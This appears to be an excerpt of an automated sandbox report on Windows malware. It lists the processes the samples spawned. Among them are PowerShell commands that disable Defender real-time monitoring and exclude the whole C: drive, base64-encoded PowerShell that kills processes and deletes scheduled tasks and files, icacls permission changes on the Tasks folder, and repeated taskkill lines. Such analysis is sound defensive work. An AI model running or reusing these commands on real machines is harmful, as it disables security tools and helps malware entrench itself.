Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Process created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 start MicrosoftESS	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im rdp_modul_v1.exe	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im rdp_modul_v2.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im rdp_modul_v3.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im wrm_modul_v1.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im wrm_modul_v2.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im wrm_modul_v3.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im ape_modul_v1.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im full_rdp_modul_v1.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im rdp.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im wrm_modul_v4.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im nl.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im WerFault.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im rdp_modul_v1.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im rdp_modul_v2.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im rdp_modul_v3.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im wrm_modul_v1.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im wrm_modul_v2.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im wrm_modul_v3.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im ape_modul_v1.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im full_rdp_modul_v1.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im rdp.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im wrm_modul_v4.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im nl.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im WerFault.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im rdp_modul_v1.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im rdp_modul_v2.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im rdp_modul_v3.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im wrm_modul_v1.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im wrm_modul_v2.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im wrm_modul_v3.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im ape_modul_v1.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im full_rdp_modul_v1.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im rdp.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im wrm_modul_v4.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im nl.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im WerFault.exe
Source: C:\Users\mig.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableRealtimeMonitoring $True
Source: C:\Users\mig.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -ExclusionPath c:\
Source: C:\Users\mig.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand bgBlAHQAIABzAHQAbwBwACAAdwBtAHMAZQByAHYAaQBjAGUACgB0AGEAcwBrAGsAaQBsAGwAIAAvAGYAIAAvAGkAbQAgAG0AaQBnAHIAYQB0AGUALgBlAHgAZQAKAHQAYQBzAGsAawBpAGwAbAAgAC8AZgAgAC8AaQBtACAASQBuAHQAZQBsAEMAbwBuAGYAaQBnAFMAZQByAHYAaQBjAGUALgBlAHgAZQAKAHQAYQBzAGsAawBpAGwAbAAgAC8AZgAgAC8AaQBtACAATQBTAFQAYQBzAGsALgBlAHgAZQAKAHQAYQBzAGsAawBpAGwAbAAgAC8AZgAgAC8AaQBtACAAUwB1AHAAZQByAGYAZQB0AGMAaAAuAGUAeABlAAoAdABhAHMAawBrAGkAbABsACAALwBmACAALwBpAG0AIABXAG0AaQBpAGMALgBlAHgAZQAKAHQAYQBzAGsAawBpAGwAbAAgAC8AZgAgAC8AaQBtACAAVwByAGEAcAAuAGUAeABlAAoAYwBtAGQAIAAvAGMAIAB0AGEAawBlAG8AdwBuACAALwBGACAAIgBjADoAXAB3AGkAbgBkAG8AdwBzAFwAdABhAHMAawBzACIACgBzAGMAaAB0AGEAcwBrAHMAIAAvAGQAZQBsAGUAdABlACAALwB0AG4AIAAiAFcAaQBuAGQAbwB3AHMAVQBwAGQAYQB0AGUAIgAgAC8ARgAKAGMAbQBkACAALwBjACAAdABhAGsAZQBvAHcAbgAgAC8ARgAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAbQBpAGcAcgBhAHQAZQAuAGUAeABlACIACgBjAG0AZAAgAC8AYwAgAGQAZQBsACAALwBGACAALwBRACAAIgBDADoAXABQAHIAbwBnAHIAYQBtAEQAYQB0AGEAXABtAGkAZwByAGEAdABlAC4AZQB4AGUAIgAKAAoA
Source: C:\Users\mig.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\programdata\ru.bat" "
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\net.exe "C:\Windows\system32\net.exe" stop wmservice
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\taskkill.exe "C:\Windows\system32\taskkill.exe" /f /im migrate.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\taskkill.exe "C:\Windows\system32\taskkill.exe" /f /im IntelConfigService.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\taskkill.exe "C:\Windows\system32\taskkill.exe" /f /im MSTask.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\taskkill.exe "C:\Windows\system32\taskkill.exe" /f /im Superfetch.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\taskkill.exe "C:\Windows\system32\taskkill.exe" /f /im Wmiic.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\taskkill.exe "C:\Windows\system32\taskkill.exe" /f /im Wrap.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c takeown /F c:\windows\tasks
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\system32\schtasks.exe" /delete /tn WindowsUpdate /F
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c takeown /F C:\ProgramData\migrate.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c del /F /Q C:\ProgramData\migrate.exe
Source: C:\Windows\SysWOW64\net.exe	Process created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 stop wmservice
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\takeown.exe takeown /F c:\windows\tasks
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\takeown.exe takeown /F C:\ProgramData\migrate.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im rdp_modul_v1.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im rdp_modul_v2.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im rdp_modul_v3.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im wrm_modul_v1.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im wrm_modul_v2.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im wrm_modul_v3.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im ape_modul_v1.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im full_rdp_modul_v1.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /K "c:\programdata\st.bat"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\chcp.com chcp 65001
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist /FI "IMAGENAME eq Superfetch.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\find.exe find /I /N "Superfetch.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\takeown.exe takeown /f c:\windows\tasks
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe TIMEOUT /T 3 /NOBREAK
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableRealtimeMonitoring $True
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -ExclusionPath c:\
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\icacls.exe icacls "C:\Windows\Tasks" /inheritance:e /grant "S-1-1-0:(R,REA,RA,RD)" "S-1-5-7:(R,REA,RA,RD)"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\icacls.exe icacls "C:\Windows\Tasks" /inheritance:e /grant "SYSTEM:(R,REA,RA,RD)"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\icacls.exe icacls "C:\Windows\Tasks" /inheritance:e /grant "Administrators:(R,REA,RA,RD)"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\icacls.exe icacls "C:\Windows\Tasks" /inheritance:e /grant "Users:(R,REA,RA,RD)"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\icacls.exe icacls "C:\Windows\Tasks" /inheritance:e /grant "user:(R,REA,RA,RD)"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\icacls.exe icacls "C:\Windows\Tasks" /inheritance:e /grant "user:(R,REA,RA,RD)"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\icacls.exe icacls "C:\Windows\Tasks" /inheritance:e /grant "EVERYONE:(R,REA,RA,RD)"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im rdp.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im wrm_modul_v4.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im nl.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im WerFault.exe

Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im rdp_modul_v1.exe	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im wrm_modul_v4.exe	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im nl.exe	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im WerFault.exe	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im WerFault.exe	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im wrm_modul_v4.exe	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im WerFault.exe	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im rdp_modul_v2.exe	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im ape_modul_v1.exe	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im rdp_modul_v1.exe	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im rdp_modul_v2.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im rdp_modul_v3.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im wrm_modul_v1.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im wrm_modul_v2.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im wrm_modul_v3.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im ape_modul_v1.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im full_rdp_modul_v1.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im rdp.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im wrm_modul_v4.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im nl.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im WerFault.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im rdp_modul_v1.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im rdp_modul_v2.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im rdp_modul_v3.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im wrm_modul_v1.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im wrm_modul_v2.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im wrm_modul_v3.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im ape_modul_v1.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im full_rdp_modul_v1.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im rdp.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im wrm_modul_v4.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im nl.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im WerFault.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im rdp_modul_v1.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im rdp_modul_v2.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im rdp_modul_v3.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im wrm_modul_v1.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im wrm_modul_v2.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im wrm_modul_v3.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im ape_modul_v1.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im full_rdp_modul_v1.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im rdp.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im wrm_modul_v4.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im nl.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im WerFault.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\taskkill.exe "C:\Windows\system32\taskkill.exe" /f /im migrate.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\taskkill.exe "C:\Windows\system32\taskkill.exe" /f /im IntelConfigService.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\taskkill.exe "C:\Windows\system32\taskkill.exe" /f /im MSTask.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\taskkill.exe "C:\Windows\system32\taskkill.exe" /f /im Superfetch.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\taskkill.exe "C:\Windows\system32\taskkill.exe" /f /im Wmiic.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\taskkill.exe "C:\Windows\system32\taskkill.exe" /f /im Wrap.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im rdp_modul_v1.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im rdp_modul_v2.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im rdp_modul_v3.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im wrm_modul_v1.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im wrm_modul_v2.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im wrm_modul_v3.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im ape_modul_v1.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im full_rdp_modul_v1.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im rdp.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im wrm_modul_v4.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im nl.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im WerFault.exe

Source: C:\Users\mig.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -encodedcommand bgblahqaiabzahqabwbwacaadwbtahmazqbyahyaaqbjaguacgb0ageacwbragsaaqbsagwaiaavagyaiaavagkabqagag0aaqbnahiayqb0agualgblahgazqakahqayqbzagsaawbpagwabaagac8azgagac8aaqbtacaasqbuahqazqbsaemabwbuagyaaqbnafmazqbyahyaaqbjagualgblahgazqakahqayqbzagsaawbpagwabaagac8azgagac8aaqbtacaatqbtafqayqbzagsalgblahgazqakahqayqbzagsaawbpagwabaagac8azgagac8aaqbtacaauwb1ahaazqbyagyazqb0agmaaaauaguaeablaaoadabhahmaawbragkababsacaalwbmacaalwbpag0aiabxag0aaqbpagmalgblahgazqakahqayqbzagsaawbpagwabaagac8azgagac8aaqbtacaavwbyageacaauaguaeablaaoaywbtagqaiaavagmaiab0ageaawblag8adwbuacaalwbgacaaigbjadoaxab3agkabgbkag8adwbzafwadabhahmaawbzaciacgbzagmaaab0ageacwbrahmaiaavagqazqbsaguadablacaalwb0ag4aiaaiafcaaqbuagqabwb3ahmavqbwagqayqb0aguaigagac8argakagmabqbkacaalwbjacaadabhagsazqbvahcabgagac8argagaciaqwa6afwauabyag8azwbyageabqbeageadabhafwabqbpagcacgbhahqazqauaguaeablaciacgbjag0azaagac8aywagagqazqbsacaalwbgacaalwbracaaigbdadoaxabqahiabwbnahiayqbtaeqayqb0ageaxabtagkazwbyageadablac4azqb4aguaigakaaoa
Source: C:\Users\mig.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -encodedcommand bgblahqaiabzahqabwbwacaadwbtahmazqbyahyaaqbjaguacgb0ageacwbragsaaqbsagwaiaavagyaiaavagkabqagag0aaqbnahiayqb0agualgblahgazqakahqayqbzagsaawbpagwabaagac8azgagac8aaqbtacaasqbuahqazqbsaemabwbuagyaaqbnafmazqbyahyaaqbjagualgblahgazqakahqayqbzagsaawbpagwabaagac8azgagac8aaqbtacaatqbtafqayqbzagsalgblahgazqakahqayqbzagsaawbpagwabaagac8azgagac8aaqbtacaauwb1ahaazqbyagyazqb0agmaaaauaguaeablaaoadabhahmaawbragkababsacaalwbmacaalwbpag0aiabxag0aaqbpagmalgblahgazqakahqayqbzagsaawbpagwabaagac8azgagac8aaqbtacaavwbyageacaauaguaeablaaoaywbtagqaiaavagmaiab0ageaawblag8adwbuacaalwbgacaaigbjadoaxab3agkabgbkag8adwbzafwadabhahmaawbzaciacgbzagmaaab0ageacwbrahmaiaavagqazqbsaguadablacaalwb0ag4aiaaiafcaaqbuagqabwb3ahmavqbwagqayqb0aguaigagac8argakagmabqbkacaalwbjacaadabhagsazqbvahcabgagac8argagaciaqwa6afwauabyag8azwbyageabqbeageadabhafwabqbpagcacgbhahqazqauaguaeablaciacgbjag0azaagac8aywagagqazqbsacaalwbgacaalwbracaaigbdadoaxabqahiabwbnahiayqbtaeqayqb0ageaxabtagkazwbyageadablac4azqb4aguaigakaaoa

Source: C:\ProgramData\MicrosoftSystem\Wmiic.exe

Code function: 6_2_000000014000A050 AllocateAndInitializeSid,CheckTokenMembership,FreeSid,

6_2_000000014000A050

Source: C:\Users\123.exe

Code function: 3_2_00ECF654 cpuid

3_2_00ECF654

Source: C:\Users\user\Desktop\file.exe	Code function: GetLocaleInfoA,	0_2_00417A20
Source: C:\Users\user\Desktop\file.exe	Code function: GetLocaleInfoA,	0_2_029F7C87
Source: C:\Users\123.exe	Code function: GetLocaleInfoW,GetNumberFormatW,	3_2_00ECAF0F
Source: C:\ProgramData\MicrosoftSystem\Wmiic.exe	Code function: GetLocaleInfoA,	6_2_00000001400245E8

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IdentityModel\v4.0_4.0.0.0__b77a5c561934e089\System.IdentityModel.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\SMDiagnostics\v4.0_4.0.0.0__b77a5c561934e089\SMDiagnostics.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Queries volume information: C:\Windows\Temp\_MEI65122\base_library.zip VolumeInformation	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Queries volume information: C:\Windows\Temp\_MEI65122\base_library.zip VolumeInformation	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Queries volume information: C:\Windows\Temp\_MEI65122\base_library.zip VolumeInformation	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Queries volume information: C:\Windows\Temp\_MEI65122\base_library.zip VolumeInformation	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Queries volume information: C:\Windows\Temp\_MEI65122\base_library.zip VolumeInformation	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Queries volume information: C:\Windows\Temp\_MEI65122\base_library.zip VolumeInformation	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Queries volume information: C:\Windows\Temp\_MEI65122\base_library.zip VolumeInformation	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Queries volume information: C:\Windows\Temp\_MEI65122\base_library.zip VolumeInformation	Jump to behavior
